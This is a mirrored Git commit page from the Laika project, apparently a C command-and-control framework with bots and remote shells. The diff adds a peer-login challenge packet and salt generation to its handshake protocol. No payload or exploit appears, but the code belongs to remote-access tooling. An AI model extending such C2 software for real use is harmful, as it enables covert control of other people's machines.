mirror of
https://github.com/CPunch/Laika.git
synced 2025-11-09 06:30:05 +00:00
CNC, Lib, Bot, Shell: New 2nd stage handshake
- New packet, LAIKAPKT_PEER_LOGIN_REQ - All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet - Protcol minor version incremented to 0.4
This commit is contained in:
@@ -6,11 +6,11 @@ const char *laikaD_getPacketName(LAIKAPKT_ID id)
|
||||
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
||||
"LAIKAPKT_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_HANDSHAKE_RES",
|
||||
"LAIKAPKT_PEER_LOGIN_REQ",
|
||||
"LAIKAPKT_PINGPONG",
|
||||
"LAIKAPKT_SHELL_OPEN",
|
||||
"LAIKAPKT_SHELL_CLOSE",
|
||||
"LAIKAPKT_SHELL_DATA",
|
||||
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
|
||||
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
||||
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};
|
||||
|
||||
@@ -28,6 +28,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
|
||||
memset(peer->inet, 0, LAIKA_INET_LEN);
|
||||
memset(peer->ipStr, 0, LAIKA_IPSTR_LEN);
|
||||
|
||||
/* generate peer's salt */
|
||||
laikaS_genSalt(peer);
|
||||
|
||||
return peer;
|
||||
}
|
||||
|
||||
@@ -37,6 +40,16 @@ void laikaS_freePeer(struct sLaika_peer *peer)
|
||||
laikaM_free(peer);
|
||||
}
|
||||
|
||||
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt)
|
||||
{
|
||||
memcpy(peer->salt, salt, LAIKA_HANDSHAKE_SALT_LEN);
|
||||
}
|
||||
|
||||
void laikaS_genSalt(struct sLaika_peer *peer)
|
||||
{
|
||||
randombytes_buf(peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
|
||||
}
|
||||
|
||||
/* ===================================[[ Start/End Packets ]]=================================== */
|
||||
|
||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||
|
||||
Reference in New Issue
Block a user